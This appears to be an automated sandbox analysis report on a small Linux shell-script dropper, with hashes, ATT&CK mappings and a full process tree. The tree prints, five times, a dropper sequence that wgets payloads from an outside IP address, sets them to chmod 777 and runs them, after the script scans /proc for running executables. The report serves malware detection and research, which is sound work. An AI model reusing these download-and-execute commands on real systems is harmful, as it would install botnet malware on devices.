8561c900bf144fcdf512eefa9cdb8c7c22b1ff4007707a242c1d3f1b332cd558

Analysis

max time kernel
17s
max time network
19s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/06/2026, 01:29

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General

Target
_8561c900bf144fcdf512eefa9cdb8c7c22b1ff4007707a242c1d3f1b332cd558.sh
Size 830B
Sample260602-bwfjvsb14n
SHA256 8561c900bf144fcdf512eefa9cdb8c7c22b1ff4007707a242c1d3f1b332cd558
MD5 3fcd68d1177be4f73d9f27d4e883b13c
SHA1 41cdfef2ea0f16a404792c9b85030142fdf6e3c7
SHA512 010b2cba89de611f03884d97dd0f623ce01dc452ae9adbbf0372f7ca72c5410500044f2e889b14cd1a602f2e93352ea5fee3c77769cd3644e3424f42b605f29b
TLSH
T13D01AFC9C111D75080C9E85EA2E772807411C3CF65864BA87F8C843D9BA97487159F84
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
843	chmod
859	chmod
874	chmod
815	chmod
829	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/ojj	817	_8561c900bf144fcdf512eefa9cdb8c7c22b1ff4007707a242c1d3f1b332cd558.sh
/tmp/L4RA	830	_8561c900bf144fcdf512eefa9cdb8c7c22b1ff4007707a242c1d3f1b332cd558.sh
/tmp/fuF	845	_8561c900bf144fcdf512eefa9cdb8c7c22b1ff4007707a242c1d3f1b332cd558.sh
/tmp/9sI	860	_8561c900bf144fcdf512eefa9cdb8c7c22b1ff4007707a242c1d3f1b332cd558.sh
/tmp/TxJM	876	_8561c900bf144fcdf512eefa9cdb8c7c22b1ff4007707a242c1d3f1b332cd558.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fuF	wget
File opened for modification	/tmp/9sI	wget
File opened for modification	/tmp/TxJM	wget
File opened for modification	/tmp/p	_8561c900bf144fcdf512eefa9cdb8c7c22b1ff4007707a242c1d3f1b332cd558.sh
File opened for modification	/tmp/ojj	wget
File opened for modification	/tmp/L4RA	wget

/tmp/_8561c900bf144fcdf512eefa9cdb8c7c22b1ff4007707a242c1d3f1b332cd558.sh
/tmp/_8561c900bf144fcdf512eefa9cdb8c7c22b1ff4007707a242c1d3f1b332cd558.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:714
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:725
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:728
- /bin/ls
  ls -l /proc/111/exe
  2⤵
  - Reads runtime system information
  PID:732
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:735
- /bin/ls
  ls -l /proc/127/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/128/exe
  2⤵
  - Reads runtime system information
  PID:739
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:743
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:744
- /bin/ls
  ls -l /proc/157/exe
  2⤵
  - Reads runtime system information
  PID:746
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/164/exe
  2⤵
  - Reads runtime system information
  PID:750
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:753
- /bin/ls
  ls -l /proc/182/exe
  2⤵
  - Reads runtime system information
  PID:754
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:755
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:757
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:758
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:759
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:760
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:761
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:762
- /bin/ls
  ls -l /proc/248/exe
  2⤵
  - Reads runtime system information
  PID:763
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:764
- /bin/ls
  ls -l /proc/334/exe
  2⤵
  - Reads runtime system information
  PID:765
- /bin/ls
  ls -l /proc/336/exe
  2⤵
  - Reads runtime system information
  PID:766
- /bin/ls
  ls -l /proc/359/exe
  2⤵
  - Reads runtime system information
  PID:767
- /bin/ls
  ls -l /proc/36/exe
  2⤵
  - Reads runtime system information
  PID:768
- /bin/ls
  ls -l /proc/360/exe
  2⤵
  - Reads runtime system information
  PID:769
- /bin/ls
  ls -l /proc/363/exe
  2⤵
  - Reads runtime system information
  PID:770
- /bin/ls
  ls -l /proc/365/exe
  2⤵
  - Reads runtime system information
  PID:771
- /bin/ls
  ls -l /proc/37/exe
  2⤵
  - Reads runtime system information
  PID:772
- /bin/ls
  ls -l /proc/380/exe
  2⤵
  PID:773
- /bin/ls
  ls -l /proc/381/exe
  2⤵
  - Reads runtime system information
  PID:774
- /bin/ls
  ls -l /proc/389/exe
  2⤵
  - Reads runtime system information
  PID:775
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:776
- /bin/ls
  ls -l /proc/429/exe
  2⤵
  - Reads runtime system information
  PID:777
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:778
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:779
- /bin/ls
  ls -l /proc/66/exe
  2⤵
  - Reads runtime system information
  PID:780
- /bin/ls
  ls -l /proc/662/exe
  2⤵
  - Reads runtime system information
  PID:781
- /bin/ls
  ls -l /proc/676/exe
  2⤵
  - Reads runtime system information
  PID:782
- /bin/ls
  ls -l /proc/678/exe
  2⤵
  PID:783
- /bin/ls
  ls -l /proc/680/exe
  2⤵
  PID:784
- /bin/ls
  ls -l /proc/681/exe
  2⤵
  - Reads runtime system information
  PID:785
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:786
- /bin/ls
  ls -l /proc/70/exe
  2⤵
  - Reads runtime system information
  PID:787
- /bin/ls
  ls -l /proc/704/exe
  2⤵
  - Reads runtime system information
  PID:788
- /bin/ls
  ls -l /proc/705/exe
  2⤵
  - Reads runtime system information
  PID:789
- /bin/ls
  ls -l /proc/709/exe
  2⤵
  - Reads runtime system information
  PID:790
- /bin/ls
  ls -l /proc/71/exe
  2⤵
  - Reads runtime system information
  PID:791
- /bin/ls
  ls -l /proc/711/exe
  2⤵
  - Reads runtime system information
  PID:792
- /bin/ls
  ls -l /proc/712/exe
  2⤵
  - Reads runtime system information
  PID:793
- /bin/ls
  ls -l /proc/714/exe
  2⤵
  - Reads runtime system information
  PID:794
- /bin/ls
  ls -l /proc/715/exe
  2⤵
  - Reads runtime system information
  PID:795
- /bin/ls
  ls -l /proc/716/exe
  2⤵
  - Reads runtime system information
  PID:796
- /bin/ls
  ls -l /proc/72/exe
  2⤵
  - Reads runtime system information
  PID:797
- /bin/ls
  ls -l /proc/73/exe
  2⤵
  - Reads runtime system information
  PID:798
- /bin/ls
  ls -l /proc/74/exe
  2⤵
  - Reads runtime system information
  PID:799
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  - Reads runtime system information
  PID:800
- /bin/ls
  ls -l /proc/77/exe
  2⤵
  - Reads runtime system information
  PID:801
- /bin/ls
  ls -l /proc/79/exe
  2⤵
  - Reads runtime system information
  PID:802
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:803
- /bin/ls
  ls -l /proc/81/exe
  2⤵
  - Reads runtime system information
  PID:804
- /bin/ls
  ls -l /proc/83/exe
  2⤵
  - Reads runtime system information
  PID:805
- /bin/ls
  ls -l /proc/84/exe
  2⤵
  - Reads runtime system information
  PID:806
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:807
- /bin/rm
  rm -rf ojj
  2⤵
  PID:810
- /usr/bin/wget
  wget http://188.132.232.81/ojj
  2⤵
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod 777 ojj
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/ojj
  ./ojj pdvr
  2⤵
  PID:817
- /bin/sh
  /bin/sh ./ojj pdvr
  2⤵
  PID:817
- /bin/rm
  rm -rf L4RA
  2⤵
  PID:820
- /usr/bin/wget
  wget http://188.132.232.81/L4RA
  2⤵
  - Writes file to tmp directory
  PID:821
- /bin/chmod
  chmod 777 L4RA
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/L4RA
  ./L4RA pdvr
  2⤵
  PID:830
- /bin/sh
  /bin/sh ./L4RA pdvr
  2⤵
  PID:830
- /bin/rm
  rm -rf fuF
  2⤵
  PID:834
- /usr/bin/wget
  wget http://188.132.232.81/fuF
  2⤵
  - Writes file to tmp directory
  PID:835
- /bin/chmod
  chmod 777 fuF
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/fuF
  ./fuF pdvr
  2⤵
  PID:845
- /bin/sh
  /bin/sh ./fuF pdvr
  2⤵
  PID:845
- /bin/rm
  rm -rf 9sI
  2⤵
  PID:848
- /usr/bin/wget
  wget http://188.132.232.81/9sI
  2⤵
  - Writes file to tmp directory
  PID:850
- /bin/chmod
  chmod 777 9sI
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/9sI
  ./9sI pdvr
  2⤵
  PID:860
- /bin/sh
  /bin/sh ./9sI pdvr
  2⤵
  PID:860
- /bin/rm
  rm -rf TxJM
  2⤵
  PID:866
- /usr/bin/wget
  wget http://188.132.232.81/TxJM
  2⤵
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod 777 TxJM
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/TxJM
  ./TxJM pdvr
  2⤵
  PID:876
- /bin/sh
  /bin/sh ./TxJM pdvr
  2⤵
  PID:876
- /bin/rm
  rm -rf p
  2⤵
  PID:878

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

ojj

Path /tmp/ojj
Size 3B
SHA256 6bdf66b5bf2a44e658bea2ee86695ab150a06e600bf67cd5cce245ad54962c61
MD5 bc949ea893a9384070c31f083ccefd26
SHA1 cbb8391cb65c20e2c05a2f29211e55c49939c3db
SHA512 e4288e71070485637ec5825f510a7daa7e75ef6c71a1b755f51e1b0f2e58e5066837f58408ea74d75db42c49372c6027d433a869904fc5efaf4876dfcfde1287
MD5 SHA1 SHA512

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512